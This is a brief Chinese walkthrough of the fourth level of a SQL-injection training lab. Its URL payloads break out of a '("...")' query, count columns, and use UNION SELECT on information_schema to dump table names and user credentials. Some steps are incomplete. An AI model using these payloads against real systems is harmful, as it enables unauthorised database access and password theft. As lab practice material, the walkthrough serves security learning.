打开less4看到这个提示
请输入id作为数值的参数
输入?id=1或者?id=1'显示
输入?id=1"显示
输入?id=1") --+则正常
//原理为select from where id=(“1”) --+) 那么--+后的内容被注释掉了
那么判断列数吧
输入?id=1 order by 2 --+
正常
由2增加到4,到4报错
输入?id=1 order by 4 --+
可知列数有3列
看显示位吧
输入?id=-1") union select 1,2,3--+
获取数据库
输入?id=-1") union select 1,database(),3--+
爆数据表
输入?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
爆表数据字段
爆数据吧
输入?id=-1") union select 1,group_concat(username,'~',password),3 from users--+
完成了